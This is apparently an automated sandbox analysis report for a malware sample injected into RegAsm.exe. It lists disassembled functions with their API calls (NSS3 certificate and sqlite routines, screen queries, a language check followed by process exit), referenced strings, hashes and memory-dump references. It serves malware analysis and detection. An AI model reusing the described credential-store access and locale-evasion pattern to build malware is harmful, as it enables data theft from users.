Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nHl
API String ID: 332880674-1384072882
Opcode ID: 97fe54d88bedcff506ba1861b39bc98f66dd8a622730920aeb6b55b2aefb28d6
Instruction ID: f32b9538feb41aaceeefd3c0707481fd71a32e43c82f65a09f87f01091237598
Opcode Fuzzy Hash: 97fe54d88bedcff506ba1861b39bc98f66dd8a622730920aeb6b55b2aefb28d6
Instruction Fuzzy Hash: 8A212532601154AFDB10FBA49D98F6A7774EB4631EF044029E80A9BA11DB34AC0ACE92

Function 004187C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(0118A9F8,00000000,00000000,00000000), ref: 004187F5
GetDeviceCaps.GDI32(?,00000008), ref: 00418804
GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
ReleaseDC.USER32(00000000,?), ref: 00418822
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 6C3BCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C3BCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C3BCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C3BD079

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 007126651ddb89294b4fb980b120613738dae181d5051c8ea69ea49a5630e6ac
Instruction ID: 0f3f659858d92a14c79855cd27e1da381d2970fe094e11c54a75fc9500deaef6
Opcode Fuzzy Hash: 007126651ddb89294b4fb980b120613738dae181d5051c8ea69ea49a5630e6ac
Instruction Fuzzy Hash: 7CC1A1B5A002199BDB20DF14DC80BDAB7B4BF58308F1441A8E84CA7B41E776EE95CF91

Function 6C372C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D3824B49), ref: 6C372C5D

Part of subcall function 6C3D0D30: calloc.MOZGLUE ref: 6C3D0D50
Part of subcall function 6C3D0D30: TlsGetValue.KERNEL32 ref: 6C3D0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C372C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C372CE0

Part of subcall function 6C372E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C372CDA,?,00000000), ref: 6C372E1E
Part of subcall function 6C372E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C372E33
Part of subcall function 6C372E00: TlsGetValue.KERNEL32 ref: 6C372E4E
Part of subcall function 6C372E00: EnterCriticalSection.KERNEL32(?), ref: 6C372E5E
Part of subcall function 6C372E00: PL_HashTableLookup.NSS3(?), ref: 6C372E71
Part of subcall function 6C372E00: PL_HashTableRemove.NSS3(?), ref: 6C372E84
Part of subcall function 6C372E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C372E96
Part of subcall function 6C372E00: PR_Unlock.NSS3 ref: 6C372EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C372D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C372D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C372D3F
free.MOZGLUE(00000000), ref: 6C372D73
CERT_DestroyCertificate.NSS3(?), ref: 6C372DB8
free.MOZGLUE ref: 6C372DC8

Part of subcall function 6C373E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C373EC2
Part of subcall function 6C373E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C373ED6
Part of subcall function 6C373E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C373EEE
Part of subcall function 6C373E60: PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C373F02
Part of subcall function 6C373E60: PL_FreeArenaPool.NSS3 ref: 6C373F14
Part of subcall function 6C373E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C373F27

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 54ba31bb1a929c93469314ecf92b23410b990cd45060a2aba5ac01cc29f387b8
Instruction ID: 34bef45b4736b0340b3b5039ece07e55b98b44fe4251ab2cce63f562bfc3b427
Opcode Fuzzy Hash: 54ba31bb1a929c93469314ecf92b23410b990cd45060a2aba5ac01cc29f387b8
Instruction Fuzzy Hash: F151CF71A04212DFDB20DE29CE88B5B77E5EF84208F15042CECA993610E737E8158FA6

Function 6C30E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C30E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C30E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C30EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C30EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C30EB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6C30ED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C30EDC2
foreign key on %s should reference only one column of table %T, xrefs: 6C30EE04

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 55d88966cfc315490e7239a645dcc64c017c5c159b8123234717db0f5fbe1737
Instruction ID: 993be3424310984873db4ab78bf1662044bea4e3b928e592f0540837d0e2edb5
Opcode Fuzzy Hash: 55d88966cfc315490e7239a645dcc64c017c5c159b8123234717db0f5fbe1737
Instruction Fuzzy Hash: 9C029072F056098FDB04CF99C480AAEB7B6FF89308F194169D895AB751D736A841CFE0

Function 6C442F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C442FFD
sqlite3_initialize.NSS3 ref: 6C443007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C443032
sqlite3_mprintf.NSS3(6C4AAAF9,?), ref: 6C443073
sqlite3_free.NSS3(?), ref: 6C4430B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C4430C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C4430BB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 8eb169814723ebd43ab8f47e1c09e9520ad8491ceaaf533e819eed1988f5e267
Instruction ID: 5e6787d2ba817a337b326cd4cd8c787d595e193b81048fbb589ba03a538e97ac
Opcode Fuzzy Hash: 8eb169814723ebd43ab8f47e1c09e9520ad8491ceaaf533e819eed1988f5e267
Instruction Fuzzy Hash: 86418D71600606ABEB10CF25D880F8AB7B5FF5476AF248628EC6987B40E731E955CBD1

Function 6C388CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C39124D,00000001), ref: 6C388D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C39124D,00000001), ref: 6C388D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C39124D,00000001), ref: 6C388D73
PR_Unlock.NSS3(?,?,?,?,?,6C39124D,00000001), ref: 6C388D8C

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C39124D,00000001), ref: 6C388DBA

Strings

KRAM, xrefs: 6C388D3E
KRAM, xrefs: 6C388CF9

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: f44867e5a2d6c10ccdf9fd44b38e3569de38ec7e0e4cddc98b0e82f369d169a7
Instruction ID: ec83fe94fe8d1304650df0f943e3c4b29c40a134c92bb129f70b948a25523079
Opcode Fuzzy Hash: f44867e5a2d6c10ccdf9fd44b38e3569de38ec7e0e4cddc98b0e82f369d169a7
Instruction Fuzzy Hash: 852181B5A05601CFCB00EF78C4846AABBF4FF45318F15896AD99987701E735E846CF92

Function 6C480ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C480EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C480EFA

Part of subcall function 6C36AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C36AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C480F2B

Strings

Aborting, xrefs: 6C480EB3
Assertion failure: %s, at %s:%d, xrefs: 6C480ED9, 6C480EE5, 6C480F06, 6C480F0B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: e6a62257f1b9c6aa456d4c1629a0f0f755faeb1dc757c841b057a093128c6625
Instruction ID: 4d0641619ced657524e51f8965d0e199634d010de9c9c68b498e5cf1ac40a0f5
Opcode Fuzzy Hash: e6a62257f1b9c6aa456d4c1629a0f0f755faeb1dc757c841b057a093128c6625
Instruction Fuzzy Hash: BF0180B6911154ABDF01EF64DC85CAB3F3DEF46364B004064FD0997B11D671EA509BA2

Function 6C299420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C28AB89: EnterCriticalSection.KERNEL32(6C2DE370,?,?,?,6C2534DE,6C2DF6CC,?,?,?,?,?,?,?,6C253284), ref: 6C28AB94
Part of subcall function 6C28AB89: LeaveCriticalSection.KERNEL32(6C2DE370,?,6C2534DE,6C2DF6CC,?,?,?,?,?,?,?,6C253284,?,?,6C2756F6), ref: 6C28ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C264A68), ref: 6C29945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C299470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C299482
__Init_thread_footer.LIBCMT ref: 6C29949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C29946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C29947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C299459

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fdb2521f0cf2704ce7ab02f4d4ae165c37d5b0270da925d9a7486d5fb2cda4cc
Instruction ID: d402424796ab41fa03e5b34d34e285edc1754529266751115622f13fc33c9697
Opcode Fuzzy Hash: fdb2521f0cf2704ce7ab02f4d4ae165c37d5b0270da925d9a7486d5fb2cda4cc
Instruction Fuzzy Hash: 13012D30E001098FE700A75DD80894A3375A72673BF058537ED0986BD1EBA1F4B4C95B

Function 6C444D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C444DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C444DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C444DCB
misuse, xrefs: 6C444DD5
%s at line %d of [%.10s], xrefs: 6C444DDA
API call with %s database connection pointer, xrefs: 6C444DBD
invalid, xrefs: 6C444DB8

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: fed723861403b4f0dc87b0f322e5e7415bf0936ee3e5979c30aa1382117f10de
Instruction ID: 93306aab3b9735af87fa358b8c6795f3e26706a4e2ac63d7cb33607f60f70b2a
Opcode Fuzzy Hash: fed723861403b4f0dc87b0f322e5e7415bf0936ee3e5979c30aa1382117f10de
Instruction Fuzzy Hash: F7F05991E04AA42BFB00C895CC11F8633558F1239AF2659A0FD047BFD2D209A85083D1

Function 6C444DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C444E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C444E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C444E38
misuse, xrefs: 6C444E42
%s at line %d of [%.10s], xrefs: 6C444E47
API call with %s database connection pointer, xrefs: 6C444E2A
invalid, xrefs: 6C444E25

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f9992e96e25fbb68c218dbac9e53e80700d50b69706638ab334534d62afff463
Instruction ID: 7fb2c550e1eb437604dfb5e905b3fbba716bb6f6fdb9ec99d129ced141e788c9
Opcode Fuzzy Hash: f9992e96e25fbb68c218dbac9e53e80700d50b69706638ab334534d62afff463
Instruction Fuzzy Hash: 0DF02711E849A82BFB10C8659C10F873785DB123ABF3DD4A1EE0977F93D209986242E2

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 6C3B0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C3B1444,?,00000001,?,00000000,00000000,?,?,6C3B1444,?,?,00000000,?,?), ref: 6C3B0CB3

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

